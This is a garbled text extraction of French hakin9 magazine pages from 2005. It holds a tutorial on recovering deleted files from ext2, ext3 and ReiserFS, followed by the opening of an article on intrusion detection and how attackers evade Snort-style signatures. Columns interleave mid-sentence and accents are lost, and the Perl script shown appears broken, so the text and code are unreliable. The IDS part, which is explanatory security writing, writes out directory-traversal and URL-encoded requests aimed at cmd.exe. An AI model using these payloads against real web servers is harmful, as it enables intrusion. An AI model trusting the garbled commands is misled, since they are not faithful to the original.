de fichiers de fichiers sans journalisation), mais elles seront enregistres dans un Rcupration des
nouvel emplacement. C'est un grand avantage si vous constatez que la version
prcdente tait meilleure, vous tes capables de rcuprer l'ancienne version du donnes dans Ext2fs
fichier mme aprs les modifications importantes. Le premier type du systme de
fichiers dont nous nous occu-
perons est l'ext2fs. Nous allons
Pour dmonter une partition, L'option -m /dev/hda10 indique au commencer par trouver les inodes
il suffit de taper umount /dev/hdaX programme de vrifier quels services supprims.
(o X est le numro de la partition utilisent la partition hda10. Par contre
sur laquelle les donnes ont t sup- l'option -v (verbose) permet de ren- Recherche des inodes
primes, dans notre cas elle porte dre les donnes plus dtailles, et au supprims
le numro 10). Pourtant, si pen- lieu des numros PID, vous pourrez Pour effectuer ce pas, nous allons
dant cette opration, vous obtenez voir aussi les arguments nuls des utiliser le programme debugfs
le message suivant : programmes. Si vous constatez que issu du paquet e2fsprogs. Lanons
les processus sont inutiles, il suffit de l'application en ouvrant la partition
# umount /dev/hda10 les tuer au moyen de la commande : souhaite :
umount: /tmp: device is busy
# fuser -k -v -m /dev/hda10 # debugfs /dev/hda10
cela veut dire qu'un processus utilise
cette partition.
Dans ce cas, deux solutions se
prsentent. La premire consiste
tuer le processus utilisant la par-
tition donne. Mais il faut d'abord
vrifier quels processus bloquent la
partition en question. Pour ce faire,
vous pouvez utiliser le programme
fuser, servant identifier les utilisa-
teurs et les processus exploitant les
fichiers ou les sockets donns :

# fuser -v -m /dev/hda10 Figure 1. Le schma simplifi du fonctionnement de la journalisation

hakin9 N o 4/2005 www.hakin9.org 43


Si l'invite s'affiche, il faut excuter
la commande lsdel qui nous mon- Listing 1. L'effet de la commande lsdel du programme debugfs
trera tous les fichiers supprims debugfs: lsdel
depuis la cration de cette partition Inode Owner Mode Size Blocks Time deleted
(en cas de systmes publiques, (...)
cette liste peut contenir quelques 20 0 100644 41370 14/14 Tue Feb 15 19:13:25 2005
24 0 100644 17104 5/5 Tue Feb 15 19:13:26 2005
mille lignes, sa cration durera
352 deleted inodes found.
donc un peu de temps). Maintenant debugfs:
uniquement partir de la date de
suppression, l'UID de l'utilisateur
et la taille nous pouvons dduire Listing 2. Le vidage des donnes rcupres vers un fichier
quels fichiers nous appartenaient
et lesquels nous voulons rcuprer. debugfs: dump <24> /home/aqu3l/recovered.000
debugfs: quit
Afficher les numros des inodes
# cat /home/aqu3l/recovered.000
est une trs bonne ide. (...)
Consultons le rsultat de la
commande lsdel (cf. le Listing 1).
Les colonnes dans les rsultats de contenu du fichier rcupr. Sou- prsente sur le Listing 3 on peut
la commande lsdel sont, respecti- vent, la fin du fichier rcupr, noter que le bloc 22027 est un bloc
vement : on peut trouver diffrents carac- indirect (IND).
tres-dchets ; ce sont les restes Ce qui nous intresse, c'est
le numro d'inode (inode), des autres fichiers remplacs. On l'avant-dernire ligne qui affiche
le propritaire (owner), peut les supprimer l'aide d'un les blocs appartenant l'inode
les options d'accs (mode), diteur de texte quelconque. Cette donn. Profitons du programme
la taille en octets (size), mthode n'est efficace que dans le dd pour rcuprer les blocs de 0
le nombre de blocs occups cas de fichiers texte. ( partir de ce nombre on commen-
(blocks), Il nous reste rcuprer le fi- ce toujours compter les blocs)
la date de suppression (time de- chier de l'inode 20 (cf. le Listing 1). jusqu' 11 :
leted). Il occupe 14 blocs, et comme nous
l'avions dj dit, la mthode de # dd bs=4k if=/dev/hda10 \
Comme vous voyez, les numros vidage des donnes d'un inode skip=22015 count=12 \
des inodes des fichiers supprims occupant plus de 12 blocs ne sera > ~/recovered.001
sont 20 et 24. C'est justement ces pas efficace (cf. l'Encadr Blocs # dd bs=4k if=/dev/hda10 \
donnes que nous tenterons de r- et leur hirarchie sous ext2fs). skip=22028 count=1 \
cuprer. C'est pourquoi, pour rcuprer le >> ~/recovered.001
20 me inode, nous allons utiliser le
Vidage des donnes programme dd. Quelques mots d'explication :
Maintenant, nous pouvons essayer Avant de rcuprer un fichier, v-
de rcuprer l'inode 24 par le vidage rifions les donnes de base, c'est-- bs signifie la taille du bloc (don-
(en anglais dump) des donnes vers dire les numros des blocs et la taille ne en kilooctets) que nous
un autre fichier. Comme cela est du bloc sur la partition. Pour vrifier avons obtenu auparavant,
prsent sur le Listing 1, il occupe la taille d'un bloc, nous utiliserons la if signifie le fichier d'entre (en
5 blocs. C'est une information trs commande : anglais input file),
importante cette mthode peut skip indique au programme de
chouer pour les fichiers occupant # dumpe2fs /dev/hda10 \ sauter 22015 blocs ayant la taille
plus de 12 blocs. L'exemple de ce | grep "Block size" bs dtermine,
type de rcupration est prsent count signifie le nombre de blocs
dans le Listing 2. En rponse, nous devrons obtenir : cueillir.
Pratique

Entre chevrons, on donne le


nom du fichier ou le numro de dumpe2fs 1.35 (28-Feb-2004) Le bloc 22027 est doublement indi-
l'inode. Le second paramtre est le Block size: 4096 rect, alors nous l'avons omis et nous
nom du fichier cible il faut l'entrer avons cueilli directement le bloc
avec le chemin d'accs complet, ce C'est justement ce dernier nombre 22028.
qui veut dire que le raccourci ~/ ne (4096) qui est la taille du bloc. Main-
suffira pas. tenant, quand nous connaissons Modification des inodes
Aprs l'excution de la com- la taille du bloc, vrifions les blocs Maintenant, nous allons nous oc-
mande, il faut taper quit et lire le rcuprer. Cette opration est cuper d'une autre faon de rcu-

44 www.hakin9.org hakin9 N o 4/2005


Rcupration des donnes

Pour effectuer la modification, nous


Blocs et leur hirarchie sous ext2fs nous servirons aussi du program-
Les blocs du disque dur ne sont pas l'unique chane affecte un fichier (inode). Dans me debugfs, et le droulement de
certains endroits (dpendant du systme de fichiers et pas de l'utilisateur), il existe ce cette opration est prsent dans
qu'on appelle blocs indirects, de trois types : le Listing 4.
Comme vous voyez, seules
le bloc indirect (en anglais indirect block) IND,
deux inscriptions ont t modi-
le bloc doublement indirect (en anglais double indirect block) DIND,
fies : le temps de suppression
le bloc triplement indirect (en anglais triple indirect block) TIND.
(deletion time mais ce n'est pas
Chaque bloc numrot dpend du bloc suprieur, mais chaque bloc successif peut tout fait vrai car le systme n'est
stocker un plus grand nombre de blocs : pas capable de dterminer la date
de suppression d'un fichier) et le
les numros de 12 premiers blocs sont stocks directement dans un inode (ceux qui nombre de liens au fichier (link
sont le plus souvent appels blocs indirects),
count). Maintenant, aprs que le
un inode contient le numro d'un bloc indirect ; un bloc indirect contient les num-
programme debugfs ait termin son
ros de 256 blocs successifs avec les donnes,
fonctionnement, il suffit d'excuter
un inode contient le numro d'un bloc doublement indirect ; un bloc doublement
indirect contient les numros de 256 blocs indirects supplmentaires, la commande :
un inode contient le numro d'un bloc triplement indirect ; un bloc triplement indi-
rect contient les numros de 256 blocs doublement indirects supplmentaires. # e2fsck -f /dev/hda10

La structure est prsente sur la Figure 2. Le programme, aprs avoir rencon-


tr un inode modifi, constatera
que ce dernier n'est pas attach (en
prer les donnes la modification si celles-ci n'taient jamais sup- anglais unattached) et demandera
directe des inodes. Elle consiste primes et pendant la vrification si nous voulons lier les donnes
modifier un inode de faon ce suivante du disque dur, transfre le dcrites dans cet inode au dossier
que le systme de fichiers consid- fichier supprim vers le rpertoire lost+found. Si nous tenons ce fi-
re les donnes appropries comme lost+found sur la partition donne. chier, nous devons bien sr appuyer
sur la touche y. Mais il n'y a pas de
Listing 3. La vrification des blocs rcuprer roses sans pines aprs la con-
sultation du dossier, nous ne voyons
# debugfs /dev/hda10 pas les noms de fichiers, mais seule-
debugfs: stat <20>
ment les numros des inodes restau-
Inode: 20 Type: regular Mode: 0644 Flags: 0x0 Generation: 14863
User: 0 Group: 0 Size: 41370
rs (p. ex. 24). Il faut donc consulter
(...) les fichiers et suivant son contenu,
BLOCKS: reconnatre son nom original.
(0-11):22015-22026, (IND): 22027, (12):22028
TOTAL: 14
Ext3fs
La rcupration des donnes dans
ce systme de fichier est spcifi-
Listing 4. La rcupration des fichiers par la modification directe d'un que, parfois mme trs fastidieuse.
inode vrai dire, il n'existe aucune ma-
nire sre permettant de rcuprer
# debugfs -w /dev/hda10
les donnes de ce type de partition.
debugfs: mi <24>
Mode [0100644]
Mais il existe des mthodes plus au
User ID [0] moins officielles permettant de
Group ID [0] sauver nos donnes.
(...)
Deletion time [1108684119] 0
Est-ce l'ext3 ou l'ext2 ?
Link count [0] 1
(...)
L'ext3 et l'ext2 sont des systmes de
debugfs: quit fichiers trs similaires (except la
# e2fsck -f /dev/hda10 journalisation et la faon de suppri-
e2fsck 1.35 (28-Feb-2004) mer les fichiers) profitons donc de
(...)
ce fait pour rcuprer nos donnes.
Unattached inode 14
Connect to /lost+found<y>? yes
Nous essayerons d'utiliser debugfs ;
(...) ce processus est prsent dans le
Listing 5.

hakin9 N o 4/2005 www.hakin9.org 45


l'occasion de la description du sys-
tme ext2. La recherche des inodes
supprims de la partition ext3 est
prsente sur le Listing 6.
L'inode 20 a une fausse date
de suppression. Cela est d au
fait qu'aprs la libration d'inode
par l'ext3, le systme ext2 peut
avoir des problmes de lecture des
donnes correctes concernant les
fichiers.
Aprs l'analyse dtaille de la
liste entire des fichiers supprims,
nous pouvons nous occuper de
la rcupration des donnes dont
nous avons besoin. Cette mthode
est identique celle utilise dans
le cas d'ext2, mais l'ext3 peut avoir
le problme aprs la modification
directe d'un inode. Dans certains
cas, cela peut mme conduire
la situation o la partition devient il-
lisible pour le systme d'exploitation.

Ce travail en vaut la peine


La seconde mthode de rcup-
ration des fichiers partir de l'ext2
est beaucoup plus difficile, mais elle
permet de rcuprer un plus grand
nombre de fichiers texte supprims.
Cette mthode aussi, quant elle,
a un dfaut grave elle exige la con-
sultation manuelle du contenu des
disques durs, il est donc trs difficile
de sauver les fichiers binaires.
Il est recommand d'effectuer
une copie de sauvegarde du disque
dur entier avant de commencer toute
opration. Pour ce faire, tapons la
commande :

$ dd if=/dev/hda10 \
Figure 2. La structure des blocs dans le systme de fichiers ext2 >~/hda10.backup.img
Consultons le Listing 5. Nos ino- Dmontons donc la partition :
des ont t supprims d'un systme Pour nous faciliter un peu la tche,
de fichiers. La dmarche que nous # umount /dev/hda10 nous pouvons diviser notre partition
avons choisie ne mne nulle part. en parties plus petites. Si la partition
Pourtant, nous pouvons essayer Ensuite, nous devons la monter de a la taille de 1 Go, il est juste de la
Pratique

une certaine astuce vrifier si le nouveau en tant qu'ext2, et cela en partitionner en 10 parties de 100 Mo
systme d'exploitation considrait le mode read only pour les raisons de chacune. Un simple script spciale-
systme de fichier comme ext2. La scurit : ment conu cet effet est prsent
solution est divise en trois tapes : dans le Listing 7 le disque dur peut
# mount -o ro -t ext2 \ tre partitionn l'aide de la com-
dmonter le systme de fichiers, /dev/hda10 /tmp mande suivante :
le monter de nouveau, mais cette
fois-ci en tant qu'ext2, Maintenant, essayons de travailler $ dsksplitter.pl 10 1000000 \
rcuprer les fichiers. avec debugfs de la faon prsente /dev/hda10 ~/dsk.split

46 www.hakin9.org hakin9 N o 4/2005


Rcupration des donnes

Utilisons maintenant la commande


systme grep pour rechercher les Listing 5. La recherche des inodes supprims dans l'ext3fs
chanes de caractres qui nous int- # debugfs /dev/hda10
ressent (pour ce faire, nous pouvons debugfs: lsdel
videmment nous servir de la com- Inode Owner Mode Size Blocks Time deleted
mande strings) : 0 deleted inodes found.
debugfs: q

$ grep -n -a -1 \
"int main" ~/dsk.split/*
Listing 6. La rcupration des donnes de la partition ext3 monte en
L'option -n affichera le numro de la tant qu'ext2
ligne du fichier dans lequel se trouve debugfs: lsdel
la chane de caractres souhaite. Inode Owner Mode Size Blocks Time deleted
Grce l'option -a, les fichiers binai- (...)
res sont traits comme fichiers texte, 20 0 100644 41370 14/14 Tue Feb 14 19:20:25 2005
(...)
par contre -1 affichera une ligne
24 0 100644 17104 5/5 Tue Feb 15 19:13:26 2005
avant et une ligne aprs la chane 352 deleted inodes found.
retrouve. Bien sr, il est possible de debugfs:
changer la chane int main par une
chane de caractres quelconque.
Nous avons obtenu les rsultats : Listing 7. dsksplitter.pl un script simple servant partitionner les
disques durs
~/dsk.split/dsk.1:40210:
#include <sys/socket.h> #!/usr/bin/perl
if ($ARGV[3] eq "") {
~/dsk.split/dsk.1:40211:
print "Usage:\ndsksplitter.pl <dsk_parts> <part_size in Kb>
int main (int argc, char *argv[])
<partition_to_split> <target_dir>";
~/dsk.split/dsk.1:40212: }
{ (...) else
{
$parts = $ARGV[0];
L'Ext3 enregistre de nouveaux fi-
$size = $ARGV[1];
chiers au dbut du disque dur, nous $partition = $ARGV[2];
pouvons donc supposer que la ligne $tardir = $ARGV[3];
trouve est justement celle que nous for ($i = 1; $i <= $parts; $i++) {
cherchons. Essayons donc encore system "dd bs=1k if=$partition of=$tardir/dks.$i
count=$size skip=$ix$size";
une fois de partitionner le disque dur
}
et y rechercher les donnes :

$ mkdir ~/dsk1.split
$ dsksplitter.pl 10 10000 \ Le rsultat obtenu : Maintenant, nous avons le fichier
~/dsk.split/dsk.1 ~/dsk1.split contenant le programme supprim
~/dsk1.split/dsk.3:143: par un intrus. Bien que le fichier
Excutons maintenant la commande #include <sys/socket.h> dans lequel celui-ci se trouve a 10
grep sur le fichier dsk.1 partitionn : ~/dsk1.split/dsk.3:144: Mo, c'est mieux que d'effectuer la
int main (int argc, char *argv[]) recherche sur 1 Go de donnes.
$ grep -n -a -1 \ ~/dsk1.split/dsk.3:145: Pourtant, si cette prcision ne nous
"int main" ~/dsk1.split/* { (...) suffit pas, nous pouvons tenter de
diviser le fragment intressant du
disque dur en parties encore plus
Sur Internet petites. Si ce fichier sera rduit
une taille qui nous convient,
http://e2fsprogs.sourceforge.net le site du paquet e2fsprogs,
http://web.mit.edu/tytso/www/linux/ext2fs.html le site de l'ext2fs,
il nous reste de lancer un diteur de
http://www.namesys.com le site des auteurs du ReiserFS, texte quelconque et de supprimer
http://oss.software.ibm.com/developerworks/opensource/jfs le site du systme les lignes superflues.
de fichiers jfs, Cette technique prend beau-
http://oss.sgi.com/projects/xfs le site du projet xfs, coup de temps, mais elle est trs
http://www.securiteam.com/tools/6R00T0K06S.html le paquet unrm. efficace. Elle tait teste sur plu-
sieurs distributions de Linux, mais

hakin9 N o 4/2005 www.hakin9.org 47


l'auteur ne peut pas garantir qu'elle seulement sa partie occupe. L'op- bloque de disque dfinissant l'en-
fonctionnera sur tous les systmes tion -l avec le paramtre /home/user/ droit partir duquel les donnes
Linux. recovery/log permet d'enregistrer commencent.
le journal dans le rpertoire voulu. Pour dfinir l'emplacement de
Rcupration sous Maintenant, nous crons le rper- notre root block, il faut taper la com-
ReiserFS toire pour notre partition et nous la mande :
Pour rcuprer les fichiers, nous montons :
allons utiliser les programmes Linux # debugreiserfs /dev/hda10 \
standard. Commenons par dd # mkdir /mnt/recover; \ | grep "Root block"
il sera utilis pour crer l'image de la mount /dev/loop0 /mnt/recover
partition. C'est ncessaire parce que En rponse, nous obtenons :
les oprations que nous excuterons Les fichiers restaurs peuvent se
peuvent causer des dommages irr- trouver dans l'un des trois em- debugreiserfs 3.6.17 (2003 www.namesys)
versibles. Excutons alors la com- placements. Le premier est le Root block: 8221
mande suivante : rpertoire original du fichier (on
traite /mnt/recover/ comme root Il est facile de deviner que 8221 est
$ dd bs=4k if=/dev/hda10 \ directory). Le deuxime est le rper- le numro de notre bloc principal.
conv=noerror \ toire lost+found dans notre dossier Nous devons aussi dterminer,
> ~/recovery/hda10.img principal temporaire (/mnt/recover). au moins approximativement, la taille
Et le troisime est tout simplement le de notre fichier disons qu'il avait 10
o /dev/hda10 est la partition rcu- rpertoire principal de la partition. Ko, alors la triple taille du bloc doit
prer, et bs (block size) tait dfini Il est presque sr que le fichier tre suffisante. Si nous avons les
l'aide de la commande : recherch se trouve dans l'un de informations sur le fichier, nous pou-
ces trois emplacements. Si n'y est vons excuter la commande :
$ echo "Yes" | reiserfstune \ pas, deux explications sont possi-
-f /dev/hda10 | grep "Blocksize" bles soit il tait le premier fichier # dd bs=4k if=/dev/hda10 \
sur la partition et il a t remplac, skip=8221 count=3 \
Le paramtre conv=noerror entrane soit il tait transfr par erreur dans > ~/recovered.003
la conversion au fichier sans erreurs, un autre rpertoire. Dans le premier
ce qui signifie que mme si le pro- cas, nous pouvons dire adieu nos Aprs la rcupration des donnes,
gramme rencontre des erreurs sur donnes, par contre dans le deuxi- il faut vrifier leur validit avec le
le disque dur, les donnes seront me cas, il est possible de le retrouver fichier recherch :
converties au fichier. Aprs l'entre dans un autre endroit l'aide de
de la commande, il faut attendre un l'outil find : # cat ~/recovered.003
peu de temps, en fonction de la taille
de la partition. $ find /mnt/recover \ De mme qu'en cas d'ext2fs, la fin
Maintenant, il faut transfrer le -name notre_fichier du fichier peut contenir diffrents
contenu de notre image de la parti- dchets il est trs facile de les
tion vers le priphrique de boucle Rcupration d'un fichier liminer.
de retour loop0 (il faut s'assurer que dernirement modifi
celui-ci est libre) : Concentrons-nous maintenant la Se faciliter la vie
rcupration d'un fichier dernire- Il existe des programmes qui per-
# losetup -d /dev/loop0 ment modifi. Cette mthode peut mettent d'automatiser les mthodes
# losetup /dev/loop0 \ tre aussi exploite pour les autres de rcupration des donnes pr-
/home/aqu3l/recovery/hda10.img fichiers anciens, mais une telle ten- sentes dans cet article. La plupart
tative est base sur les calculs fasti- de ces types d'outils fonctionnent
Ensuite, il faut restaurer l'arbre dieux, sur une bonne connaissance sous le systme de fichiers ext2.
toute la partition sera vrifie, de notre propre systme et sur un Je recommande le paquet unrm
Pratique

et les traces des inodes seront corri- heureux hasard. et la bibliothque e2undel crite
ges et restaures. Pour cela, nous Comme cela est prsent sur par Olivier Diedrich fonctionnant
disposons de la commande : la Figure 1, dans les systmes de avec le paquet e2fsprogs. Bien sr,
fichiers avec journalisation, de nou- vous ne devez pas vous attendre
# reiserfsck rebuild-tree -S \ veaux fichiers sont enregistrs au rcuprer 100% de fichiers sup-
-l /home/aqu3l/recovery/log /dev/loop0 dbut du disque dur. Thoriquement, prims (bien que parfois cela soit
notre fichier se trouve juste aprs possible) si vous russissez
Grce l'option -S, il sera possible ce qu'on appelle bloc principal (en sauver environ 80%, on pourra
de vrifier le disque dur entier, et pas anglais root block), c'est--dire, le parler d'un grand succs. n

48 www.hakin9.org hakin9 N o 4/2005


Les systmes de
dtection d'intrusion vus
de l'intrieur
Antonio Merola

L'objectif des systmes de


dtection d'intrusion consiste
identifier des attaques ou des
violations de scurit issues du
rseau de surveillance et des
activits hberges. Afin de bien
comprendre le fonctionnement
de tels systmes, il est ncessaire
de prsenter la technologie qui
rgit les systmes de dtection
d'intrusion.

U
n systme de dtection d'intrusion peut C'est dans le domaine de l'audit que remonte
tre compar une alarme domesti- l'origine des systmes de dtection d'intrusion,
que contre les cambrioleurs si une comme le relate l'ouvrage parfaitement docu-
tentative d'intrusion malveillante est dcou- ment intitul A Guide to Understanding Audit
verte, une rponse de quelque nature qu'elle in Trusted Systems (publi sous la collection
soit sera alors dclenche. Plus de capteurs Rainbow Series du ministre de la Dfense
sont paramtrs, meilleur est le systme, puis- des tats-Unis), et galement connu sous
que chaque capteur est charg de dtecter un le titre de The Tan Book. Les auteurs de cet
type particulier d'activit (telle que l'ouverture ouvrage dfinissent l'audit comme un contrle
des portes ou des fentres, une dtection vo- et une rvision indpendants des activits et des
lumtrique etc.). Toutefois, l'instar de tous les
autres systmes automatiques, un systme de
Cet article explique...
dtection d'intrusion peut prsenter des failles,
mettre de fausses alertes ou tre contourn la nature des systmes de dtection d'intrusion,
par des techniciens hautement qualifis sur ce la faon de contourner les solutions proposes
genre de matriel. par les systmes de dtection d'intrusion,
Le premier systme de dtection d'intrusion la faon de se protger contre les fuites de tels
a vu le jour au dbut des annes 80 ; il s'agissait systmes.
Science

d'un projet de recherche men par le gouver-


nement amricain et certaines organisations Ce qu'il faut savoir...
militaires. La technologie mise au point a rapi-
vous matrisez idalement les bases du proto-
dement volu en une dizaine d'annes et la
cole HTTP,
fin des annes 90, des solutions commerciales
vous devez connatre le fonctionnement de
sont apparues sur le march. Depuis lors, de base des protocoles TCP/IP,
nombreux produits et ressources ont fait l'objet vous tes cens savoir utiliser la couche sys-
de recherches et un nouveau poste informatique tme UNIX et Windows.
a t ainsi cr analyste d'intrusion.

50 www.hakin9.org hakin9 N o 4/2005



Systemes de dtection d'intrusion

labor l'Universit de Californie.


Ce systme tait capable de dtec-
ter des intrusions, et de prsenter
les corrlations existantes entre les
activits anormales et une mauvaise
utilisation de l'ordinateur.

Les solutions de
dtection d'intrusion
Il existe trois approches diffrentes
en matire de dtection d'intrusion.
La premire est le systme de dtec-
tion d'intrusion au niveau du rseau
ou Network Intrusion Detection Sys-
tem (NIDS), largement utilis, charg
d'analyser de manire passive le trafic
rseau, et de chercher les activits
malveillantes. La deuxime approche
est le systme de dtection d'intru-
sion au niveau des htes ou Host
Figure 1. Modle CIDF (Common Intrusion Detection Framework) d'un
Intrusion Detection System (HIDS),
systme de dtection d'intrusion au niveau du rseau
fonctionnant sur un hte surveill pour
enregistrements d'un systme. En r- caine. Dans sa publication scientifi- y dtecter des intrusions. Enfin, la troi-
gle gnrale, l'audit permet de remon- que, il a dcrit comment restreindre sime approche, et la moins utilise,
ter la source des vnements et de le champ des audits uniquement aux est le systme de dtection d'intrusion
dcouvrir des activits illgales. conditions de scurit pertinentes au niveau des nuds du rseau ou
James Anderson fut le premier et comment discerner les activits Network Node Intrusion Detection
dvelopper ces systmes de d- normales des illgales. Plus tard eut System (NNIDS) solution hybride
tection d'intrusion naissants pour lieu la dmonstration publique du regroupant les caractristiques des
le compte de l'arme de l'air amri- Network System Monitor, systme NIDS mentionns plus haut, tout en
n'analysant qu'une partie (ou nud)
du trafic rseau. Les approches de
Snort, fer de lance de la dtection d'intrusion dtection comprennent les tches
Snort est un outil libre dvelopp en 1998 par Martin Roesch de l'quipe Sourcefire. de contrle de l'activit du rseau en
Aujourd'hui, des entreprises, des universits, des agences gouvernementales etc. du
cherchant des modles particuliers
monde entier ont recours cet outil la documentation de Snort est disponible en plus
(ou signatures) afin de raliser une
de 10 langues. La version la plus rcente, sortie en mai 2005 est Snort 2.3.3, tlchar-
analyse statistique sur cette activit
geable partir du site http://www.snort.org.
Snort peut tre configur afin de fonctionner selon trois modes principaux : pour dterminer si les donnes ont
t modifies ou non. La Figure 1
mode sniffeur, permet de mieux comprendre le type
mode enregistreur de paquets de donnes, d'analyse ralise.
mode systme de dtection d'intrusion rseau. Par Common Intrusion Detec-
tion Framework (CIDF), on dsigne
Le dernier mode est de loin le plus complexe et le plus difficile configurer. Ce logiciel
l'ensemble des composants qui
est charg d'analyser le trafic rseau selon des rgles dfinies et de raliser certaines
actions (comme par exemple dclencher une alerte). La page consacre au manuel dfinissent un systme de dtec-
d'utilisation de Snort ainsi que les donnes de sortie de la commande snort -? contien- tion d'intrusion (l'objectif consiste
nent les informations ncessaires pour lancer l'outil en diffrents modes. Par exemple, crer un modle de conception pour
activer le mode systme de dtection d'intrusion rseau revient taper les lments ces systmes). Ces composants
suivants : comprennent la gnration d'vne-
ments, les modules d'analyse, les
# snort dev l ./log \
mcanismes de stockage et mme
h 10.10.10.0/24 c snort.conf
les contre-mesures. La plupart des
o le dernier fichier indiqu reprsente le nom de notre fichier de rgles. Chaque paquet systmes de dtection d'intrusion
de donnes sera ainsi contrl afin d'y trouver une rgle correspondante ; si tel est le se contentent de chercher des si-
cas, une action est alors dclenche. gnes d'attaques connues, appels
Quelques exemples de signatures sont exposs dans le Tableau 1. signatures, comme par exemple les
dfinitions antivirus. La principale

hakin9 N o 4/2005 www.hakin9.org 51


Table 1. Exemple de signatures du logiciel Snort dclenche des alertes en cas de
Type de signature Chane dtection d'un trafic anormal.
Signature d'en-tte alert tcp any any -> $HOME _ NET any
Le logiciel de dtection d'intrusion le
(flag: SF; msg: SYN-FIN scan)
plus connu s'appelle Snort. Grce
Signature pattern alert udp $EXTERNAL _ NET any -> des prprocesseurs et des plug-
matching $HOME _ NET 53 (msg: DNS named ins activs, il est capable de traiter
version attempt; content:|07|version)
toutes les signatures except les
Signature base sur preprocessor: http _ decode 80
signatures de dtection d'anomalies
protocole (voir lEncadr intitul Snort, fer de
Signature base alert icmp any any -> $HOME _ NET any lance de la dtection d'intrusion).
d'heuristique (msg: Large ICMP packet; dsize > 800) Il est toutefois probable de
rencontrer certains problmes lis
diffrence rside dans les nombres ; chanes du contenu sur un seul paquet cette activit de dtection d'intru-
un systme de dtection d'intrusion de donnes ou sur un train de paquets sion. Le premier concerne les alertes
peut contrler approximativement de donnes (on parle de filtrage de un systme doit tre pralablement
200 000 signatures, contre seule- paquet de donnes avec tat). configur pour cet environnement
ment 15 000 signatures vrifies par Pour tre plus prcis, il existe spcifique afin de minimiser le plus
un systme d'antivirus classique. galement les lments suivants : possible le nombre de fausses alertes.
Comment les donnes sont-elles Il peut y avoir des fausses alertes po-
contrles ? Il existe des signatures les signatures bases sur proto- sitives ou ngatives. Une fausse alerte
d'en-tte moins prcises dans les- cole, dans lesquelles le systme positive survient lorsqu'un systme de
quelles les systmes de dtection de dtection d'intrusion filtre les dtection d'intrusion alerte l'utilisateur
d'intrusion cherchent des champs par- donnes pour contrler le bon d'activits suspicieuses, mais une
ticuliers contenus dans des en-ttes respect des spcifications RFC analyse approfondie prouve que le tra-
de paquets de donnes ils cherchent (Request For Comment) ; fic rseau est normal. Par contre, une
par exemple dans le paquet le port de les signatures base d'heuristi- fausse alerte ngative est dclenche
destination TCP 80 (on parle de filtra- que, dans lesquelles le systme de lorsqu'une activit non autorise est
ge de paquet de donnes sans tat). dtection d'intrusion filtre les don- dcouverte sans toutefois dclencher
Il existe galement des signatures pat- nes par valuation statistique ; d'alerte. La Figure 2 illustre une impl-
tern matching plus labores. Dans ce les signatures de dtection mentation classique d'un systme de
cas, le systme de dtection d'intru- d'anomalies, dans lesquelles le dtection d'intrusion rseau.
sion cherche une correspondance aux systme de dtection d'intrusion
Contournement de la
dtection d'intrusion
Les solutions qu'offrent les systmes
de dtection d'intrusion sont trs
pratiques et permettent d'liminer

propos de l'auteur
Antonio Merola travaille en tant qu'ex-
pert confirm de la scurit chez
Telecom Italia. Au cours de sa car-
rire professionnelle, il a t confront
de nombreux aspects de la scurit.
Son statut d'indpendant lui permet
de prodiguer ses services plusieurs
socits en tant que consultant et ins-
Science

tructeur sur un large choix de thmes


relatifs la scurit. Il publie galement
des articles sur l'informatique dans de
nombreux magazines italiens. Parmi
ces centres d'intrts rcents, on peut
citer les pots de miel ainsi que les so-
lutions de scurit proposes par les
systmes de dtection et de prvention
contre les intrusions.
Figure 2. Systme de dtection d'intrusion rseau

52 www.hakin9.org hakin9 N o 4/2005



Systemes de dtection d'intrusion

commande /../ afin de retourner vers


Bogue du Microsoft Indexing Server le rpertoire parent pour y excuter
Un des exemples les plus spectaculaires de vulnrabilit mentionnes plus haut est le les scripts cibles. On appelle cette
bogue qui a affect (et affecte encore) l'Indexing Server version 2.0 de Microsoft Win- technique l'attaque par violation de
dows ainsi que l'Indexing Service des systmes Windows NT/2000/XP. Ces dispositifs rpertoire (en anglais directory tra-
sont ncessaires lors de l'installation du serveur Web de Microsoft IIS. versal), et c'est actuellement l'une
L'existence de ce bogue est due l'installation de certaines bibliothques de
des mthodes les plus utilises.
liens dynamiques (DLL) exige par le processus d'installation de Microsoft IIS. Une
La mthode expose ci-dessus
de ces DLL est la bibliothque partage idq.dll charge de fournir, entre autre chose,
n'est pas la seule possibilit. L'Uni-
un support pour les scripts de nature administrative (avec une extension en .ida).
Ce fichier contient une mmoire tampon non contrle dans la section charge de code est un mcanisme capable de
grer les adresses URL. Dans la mesure o idq.dll s'excute en tant que service du supporter l'ensemble des langues
systme, l'intrus obtiendra un contrle total sur le systme ainsi attaqu. du monde entier. Un serveur Web
Mais pire encore, il n'est pas ncessaire de lancer le processus idq.dll pour russir supportant l'Unicode remplacera
une attaque. Le pirate n'a besoin que de demander le service de dpouillement. tablir correctement la valeur Unicode par
une connexion avec le protocole HTTP puis envoyer une requte prpare en HTTP le caractre correspondant.
suffit garantir le succs d'une attaque. Pour le serveur Web, cette exem-
Un programme correctif complet a t sorti en 2002 (un an aprs la dcouverte ple de chane de caractres :
de ce bogue), malgr l'existence de nombreux serveurs encore vulnrables. En effet,
de nombreux administrateurs de Microsoft Windows n'appliquent pas les mises jours
../../c:\winnt\system32\cmd.exe
conseilles de scurit.

et la requte HTTP suivante :


une grande majorit de menaces les requtes SQL, sont ici impliques.
d'attaques. Toutefois, il est possible Ainsi, une requte classique du type %2e%2e%2f%2e%2e%2fc:
de contourner la dtection d'intrusion cgi-bin, par exemple, possde le for- \winnt\system32\cmd.exe
par signature. Voici les techniques tra- mat HTTP standard suivant :
ditionnelles employes cet effet : sont strictement identiques. Toute-
GET /cgi-bin/script.cgi HTTP/1.0 fois, il est probable qu'un systme de
obfuscation de code, dtection d'intrusion n'interprte pas
fragmentation, Examinons le code suivant : les deux dclarations comme tant
refus de service. les mmes. Le ver appel CodeRed
GET /cgi-bin/ exploite la vulnrabilit du dborde-
Ces mthodes utilisent une activit quelque_chose_de_dangereux.pl ment de tampon lors de la gestion
qui pousse le systme de dtection HTTP/1.0 des fichiers .ida (bogue prsent dans
d'intrusion voir un train de donnes le Indexing Service de Microsoft, voir
diffrent de celui du systme final, ou Dans un environnement Web, une ce sujet lEncadr intitul Bogue
dsactivent les systmes de dtec- double priode indique le rpertoire du Microsoft Indexing Server) afin
tion de donnes l'aide d'attaques parent, alors qu'une priode simple de s'introduire dans le systme pour
DoS (Denial of Service). reprsente le rpertoire du moment. s'y propager. Si vous envoyez une
Le code suivant est alors identique requte code %u, il est probable que
Obfuscation du code au prcdent. Toutefois, un systme vous contourniez certains contrles
La plupart des systmes de dtection de dtection d'intrusion par signa- du systme de dtection d'intrusion
d'intrusion identifie les attaques au ture peut considrer ce code comme sur .ida. En effet, le caractre a peut
